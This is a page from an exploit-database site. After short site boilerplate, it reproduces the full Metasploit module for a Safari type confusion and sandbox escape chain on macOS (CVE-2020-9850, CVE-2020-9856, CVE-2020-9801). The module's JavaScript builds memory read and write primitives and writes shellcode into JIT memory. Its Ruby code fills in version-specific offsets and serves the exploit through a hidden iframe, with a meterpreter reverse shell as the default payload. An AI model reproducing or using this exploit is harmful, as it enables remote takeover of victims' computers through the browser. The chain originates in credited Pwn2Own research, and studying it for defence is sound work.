0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Safari Type Confusion / Sandbox Escape Exploit
Author
Risk
[
Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Post::File include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super( update_info( info, 'Name' => 'Safari in Operator Side Effect Exploit', 'Description' => %q{ This module exploits an incorrect side-effect modeling of the 'in' operator. The DFG compiler assumes that the 'in' operator is side-effect free, however the <embed> element with the PDF plugin provides a callback that can trigger side-effects leading to type confusion (CVE-2020-9850). The type confusion can be used as addrof and fakeobj primitives that then lead to arbitrary read/write of memory. These primitives allow us to write shellcode into a JIT region (RWX memory) containing the next stage of the exploit. The next stage uses CVE-2020-9856 to exploit a heap overflow in CVM Server, and extracts a macOS application containing our payload into /var/db/CVMS. The payload can then be opened with CVE-2020-9801, executing the payload as a user but without sandbox restrictions. }, 'License' => MSF_LICENSE, 'Author' => [ 'Yonghwi Jin <jinmoteam[at]gmail.com>', # pwn2own2020 'Jungwon Lim <setuid0[at]protonmail.com>', # pwn2own2020 'Insu Yun <insu[at]gatech.edu>', # pwn2own2020 'Taesoo Kim <taesoo[at]gatech.edu>', # pwn2own2020 'timwr' # metasploit integration ], 'References' => [ ['CVE', '2020-9801'], ['CVE', '2020-9850'], ['CVE', '2020-9856'], ['URL', 'https://github.com/sslab-gatech/pwn2own2020'], ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' }, 'Targets' => [ [ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ], [ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ], [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ], ], 'DisclosureDate' => 'Mar 18 2020' ) ) register_advanced_options([ OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information in the exploit javascript', false]), ]) end def exploit_js <<~JS const DUMMY_MODE = 0; const ADDRESSOF_MODE = 1; const FAKEOBJ_MODE = 2; function pwn() { let otherWindow = document.getElementById('frame').contentWindow; let innerDiv = otherWindow.document.querySelector('div'); if (!innerDiv) { print("Failed to get innerDiv"); return; } let embed = otherWindow.document.querySelector('embed'); otherWindow.document.body.removeChild(embed); otherWindow.document.body.removeChild(otherWindow.annotationContainer); const origFakeObjArr = [1.1, 1.1]; const origAddrOfArr = [2.2, 2.2]; let fakeObjArr = Array.from(origFakeObjArr); let addressOfArr = Array.from(origAddrOfArr); let addressOfTarget = {}; let sideEffectMode = DUMMY_MODE; otherWindow.document.body.addEventListener('DOMSubtreeModified', () => { if (sideEffectMode == DUMMY_MODE) return; else if (sideEffectMode == FAKEOBJ_MODE) fakeObjArr[0] = {}; else if (sideEffectMode == ADDRESSOF_MODE) addressOfArr[0] = addressOfTarget; }); print('Callback is registered'); otherWindow.document.body.appendChild(embed); let triggerArr; function optFakeObj(triggerArr, arr, addr) { arr[1] = 5.5; let tmp = 0 in triggerArr; arr[0] = addr; return tmp; } function optAddrOf(triggerArr, arr) { arr[1] = 6.6; let tmp = 0 in triggerArr; return [arr[0], tmp]; } function prepare() { triggerArr = [7.7, 8.8]; triggerArr.__proto__ = embed; sideEffectMode = DUMMY_MODE; for (var i = 0; i < 1e5; i++) { optFakeObj(triggerArr, fakeObjArr, 9.9); optAddrOf(triggerArr, addressOfArr); } delete triggerArr[0]; } function cleanup() { otherWindow.document.body.removeChild(embed); otherWindow.document.body.appendChild(embed); if (sideEffectMode == FAKEOBJ_MODE) fakeObjArr = Array.from(origFakeObjArr); else if (sideEffectMode == ADDRESSOF_MODE) addressOfArr = Array.from(origAddrOfArr); sideEffectMode = DUMMY_MODE; } function addressOf(obj) { addressOfTarget = obj; sideEffectMode = ADDRESSOF_MODE; let ret = optAddrOf(triggerArr, addressOfArr)[0]; cleanup(); return Int64.fromDouble(ret); } function fakeObj(addr) { sideEffectMode = FAKEOBJ_MODE; optFakeObj(triggerArr, fakeObjArr, addr.asDouble()); let ret = fakeObjArr[0]; cleanup(); return ret; } prepare(); print("Prepare is done"); let hostObj = { _: 1.1, length: (new Int64('0x4141414141414141')).asDouble(), id: new Int64([ 0, 0, 0, 0, // m_structureID 0x17, // m_indexingType 0x19, // m_type 0x08, // m_flags 0x1 // m_cellState ]).asJSValue(), butterfly: 0, o:1, executable:{ a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // Padding (offset: 0x58) unlinkedExecutable:{ isBuiltinFunction: 1 << 31, b:0, c:0, d:0, e:0, f:0, g:0, // Padding (offset: 0x48) identifier: null } }, strlen_or_id: (new Int64('0x10')).asDouble(), target: null } // Structure ID leak of hostObj.target hostObj.target=hostObj var hostObjRawAddr = addressOf(hostObj); var hostObjBufferAddr = Add(hostObjRawAddr, 0x20) var fakeHostObj = fakeObj(hostObjBufferAddr); var fakeIdentifier = fakeObj(Add(hostObjRawAddr, 0x40)); hostObj.executable.unlinkedExecutable.identifier=fakeIdentifier let rawStructureId=Function.prototype.toString.apply(fakeHostObj) let leakStructureId=Add(new Int64( rawStructureId[9].charCodeAt(0)+rawStructureId[10].charCodeAt(0)*0x10000 ), new Int64([ 0, 0, 0, 0, // m_structureID 0x07, // m_indexingType 0x22, // m_type 0x06, // m_flags 0x1 // m_cellState ])) print('Leaked structure ID: ' + leakStructureId); hostObj.strlen_or_id = hostObj.id = leakStructureId.asDouble(); hostObj.butterfly = fakeHostObj; addressOf = function(obj) { hostObj.o = obj; return Int64.fromDouble(fakeHostObj[2]); } fakeObj = function(addr) { fakeHostObj[2] = addr.asDouble(); return hostObj.o; } print('Got reliable addressOf/fakeObj'); let rwObj = { _: 1.1, length: (new Int64('0x4141414141414141')).asDouble(), id: leakStructureId.asDouble(), butterfly: 1.1, __: 1.1, innerLength: (new Int64('0x4141414141414141')).asDouble(), innerId: leakStructureId.asDouble(), innerButterfly: 1.1, } var rwObjBufferAddr = Add(addressOf(rwObj), 0x20); var fakeRwObj = fakeObj(rwObjBufferAddr); rwObj.butterfly = fakeRwObj; var fakeInnerObj = fakeObj(Add(rwObjBufferAddr, 0x20)); rwObj.innerButterfly = fakeInnerObj; function read64(addr) { // We use butterfly and it depends on its size in -1 index // Thus, we keep searching non-zero value to read value for (var i = 0; i < 0x1000; i++) { fakeRwObj[5] = Sub(addr, -8 * i).asDouble(); let value = fakeInnerObj[i]; if (value) { return Int64.fromDouble(value); } } throw 'Failed to read: ' + addr; } function write64(addr, value) { fakeRwObj[5] = addr.asDouble(); fakeInnerObj[0] = value.asDouble(); } function makeJITCompiledFunction() { var obj = {}; // Some code to avoid inlining... function target(num) { num ^= Math.random() * 10000; num ^= 0x70000001; num ^= Math.random() * 10000; num ^= 0x70000002; num ^= Math.random() * 10000; num ^= 0x70000003; num ^= Math.random() * 10000; num ^= 0x70000004; num ^= Math.random() * 10000; num ^= 0x70000005; num ^= Math.random() * 10000; num ^= 0x70000006; num ^= Math.random() * 10000; num ^= 0x70000007; num ^= Math.random() * 10000; num ^= 0x70000008; num ^= Math.random() * 10000; num ^= 0x70000009; num ^= Math.random() * 10000; num ^= 0x7000000a; num ^= Math.random() * 10000; num ^= 0x7000000b; num ^= Math.random() * 10000; num ^= 0x7000000c; num ^= Math.random() * 10000; num ^= 0x7000000d; num ^= Math.random() * 10000; num ^= 0x7000000e; num ^= Math.random() * 10000; num ^= 0x7000000f; num ^= Math.random() * 10000; num ^= 0x70000010; num ^= Math.random() * 10000; num ^= 0x70000011; num ^= Math.random() * 10000; num ^= 0x70000012; num ^= Math.random() * 10000; num ^= 0x70000013; num ^= Math.random() * 10000; num ^= 0x70000014; num ^= Math.random() * 10000; num ^= 0x70000015; num ^= Math.random() * 10000; num ^= 0x70000016; num ^= Math.random() * 10000; num ^= 0x70000017; num ^= Math.random() * 10000; num ^= 0x70000018; num ^= Math.random() * 10000; num ^= 0x70000019; num ^= Math.random() * 10000; num ^= 0x7000001a; num ^= Math.random() * 10000; num ^= 0x7000001b; num ^= Math.random() * 10000; num ^= 0x7000001c; num ^= Math.random() * 10000; num ^= 0x7000001d; num ^= Math.random() * 10000; num ^= 0x7000001e; num ^= Math.random() * 10000; num ^= 0x7000001f; num ^= Math.random() * 10000; num ^= 0x70000020; num ^= Math.random() * 10000; num &= 0xffff; return num; } // Force JIT compilation. for (var i = 0; i < 1000; i++) { target(i); } for (var i = 0; i < 1000; i++) { target(i); } for (var i = 0; i < 1000; i++) { target(i); } return target; } function getJITCodeAddr(func) { var funcAddr = addressOf(func); print("Target function @ " + funcAddr.toString()); var executableAddr = read64(Add(funcAddr, 3 * 8)); print("Executable instance @ " + executableAddr.toString()); var jitCodeAddr = read64(Add(executableAddr, 3 * 8)); print("JITCode instance @ " + jitCodeAddr.toString()); if (And(jitCodeAddr, new Int64('0xFFFF800000000000')).toString() != '0x0000000000000000' || And(Sub(jitCodeAddr, new Int64('0x100000000')), new Int64('0x8000000000000000')).toString() != '0x0000000000000000') { jitCodeAddr = Add(ShiftLeft(read64(Add(executableAddr, 3 * 8 + 1)), 1), 0x100); print("approx. JITCode instance @ " + jitCodeAddr.toString()); } return jitCodeAddr; } function setJITCodeAddr(func, addr) { var funcAddr = addressOf(func); print("Target function @ " + funcAddr.toString()); var executableAddr = read64(Add(funcAddr, 3 * 8)); print("Executable instance @ " + executableAddr.toString()); write64(Add(executableAddr, 3 * 8), addr); } function getJITFunction() { var shellcodeFunc = makeJITCompiledFunction(); shellcodeFunc(); var jitCodeAddr = getJITCodeAddr(shellcodeFunc); return [shellcodeFunc, jitCodeAddr]; } var [_JITFunc, rwxMemAddr] = getJITFunction(); for (var i = 0; i < stage0.length; i++) write64(Add(rwxMemAddr, i), new Int64(stage0[i])); setJITCodeAddr(alert, rwxMemAddr); var argv = { a0: stage1Arr, a1: stage2Arr, doc: document, a2: 0x41414141, a3: 0x42424242, a4: 0x43434343, }; alert(argv); } var ready = new Promise(function(resolve) { if (typeof(window) === 'undefined') resolve(); else window.onload = function() { resolve(); } }); ready.then(function() { try { pwn() } catch (e) { print("Exception caught: " + e); location.reload(); } }).catch(function(err) { print("Initializatin failed"); }); JS end def offset_table { 'placeholder' => { jsc_confstr_stub: 0x0FF5370041414141, jsc_llint_entry_call: 0x0FF5370041414142, libsystem_c_confstr: 0x0FF5370041414143, libsystem_c_dlopen: 0x0FF5370041414144, libsystem_c_dlsym: 0x0FF5370041414145 }, '10.15.3' => { jsc_confstr_stub: 0xE7D8B4, jsc_llint_entry_call: 0x361f13, libsystem_c_confstr: 0x2644, libsystem_c_dlopen: 0x80430, libsystem_c_dlsym: 0x80436 }, '10.15.4' => { jsc_confstr_stub: 0xF96446, jsc_llint_entry_call: 0x380a1d, libsystem_c_confstr: 0x2be4, libsystem_c_dlopen: 0x8021e, libsystem_c_dlsym: 0x80224 } } end def get_offsets(user_agent) if user_agent =~ /Intel Mac OS X (.*?)\)/ osx_version = Regexp.last_match(1).gsub('_', '.') if user_agent =~ %r{Version/(.*?) } if Gem::Version.new(Regexp.last_match(1)) > Gem::Version.new('13.1') print_warning "Safari version #{Regexp.last_match(1)} is not vulnerable" return false else print_good "Safari version #{Regexp.last_match(1)} appears to be vulnerable" end end mac_osx_version = Gem::Version.new(osx_version) if mac_osx_version >= Gem::Version.new('10.15.5') print_warning "macOS version #{mac_osx_version} is not vulnerable" elsif mac_osx_version < Gem::Version.new('10.14') print_warning "macOS version #{mac_osx_version} is not supported" elsif offset_table.key?(osx_version) return offset_table[osx_version] else print_warning "No offsets for version #{mac_osx_version}" end else print_warning 'Unexpected User-Agent' end return false end def on_request_uri(cli, request) if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*} print_status("[*] #{request.body}") send_response(cli, '') return end user_agent = request['User-Agent'] print_status("Request #{request.uri} from #{user_agent}") if request.uri.ends_with? '.pdf' send_response(cli, '', { 'Content-Type' => 'application/pdf' }) return end offsets = get_offsets(user_agent) unless offsets send_not_found(cli) return end utils = exploit_data 'javascript_utils', 'utils.js' int64 = exploit_data 'javascript_utils', 'int64.js' stage0 = exploit_data 'CVE-2020-9850', 'stage0.bin' stage1 = exploit_data 'CVE-2020-9850', 'loader.bin' stage2 = exploit_data 'CVE-2020-9850', 'sbx.bin' offset_table['placeholder'].each do |k, v| placeholder_index = stage1.index([v].pack('Q')) stage1[placeholder_index, 8] = [offsets[k]].pack('Q') end case target['Arch'] when ARCH_X64 root_payload = payload.encoded when ARCH_PYTHON root_payload = "CMD:echo \"#{payload.encoded}\" | python" when ARCH_CMD root_payload = "CMD:#{payload.encoded}" end if root_payload.length > 1024 fail_with Failure::PayloadFailed, "Payload size (#{root_payload.length}) exceeds space in payload placeholder" end placeholder_index = stage2.index('ROOT_PAYLOAD_PLACEHOLDER') stage2[placeholder_index, root_payload.length] = root_payload payload_js = <<~JS const stage0 = [ #{Rex::Text.to_num(stage0)} ]; var stage1Arr = new Uint8Array([#{Rex::Text.to_num(stage1)}]); var stage2Arr = new Uint8Array([#{Rex::Text.to_num(stage2)}]); JS jscript = <<~JS #{utils} #{int64} #{payload_js} #{exploit_js} JS if datastore['DEBUG_EXPLOIT'] debugjs = %^ print = function(arg) { var request = new XMLHttpRequest(); request.open("POST", "/print", false); request.send("" + arg); }; ^ jscript = "#{debugjs}#{jscript}" else jscript.gsub!(%r{//.*$}, '') # strip comments jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*); end pdfpath = datastore['URIPATH'] || get_resource pdfpath += '/' unless pdfpath.end_with? '/' pdfpath += Rex::Text.rand_text_alpha(4..8) + '.pdf' html = <<~HTML <html> <head> <style> body { margin: 0; } iframe { display: none; } </style> </head> <body> <iframe id=frame width=10% height=10% src="#{pdfpath}"></iframe> <script> #{jscript} </script> </body> </html> HTML send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' }) end end # 0day.today [2024-11-14] #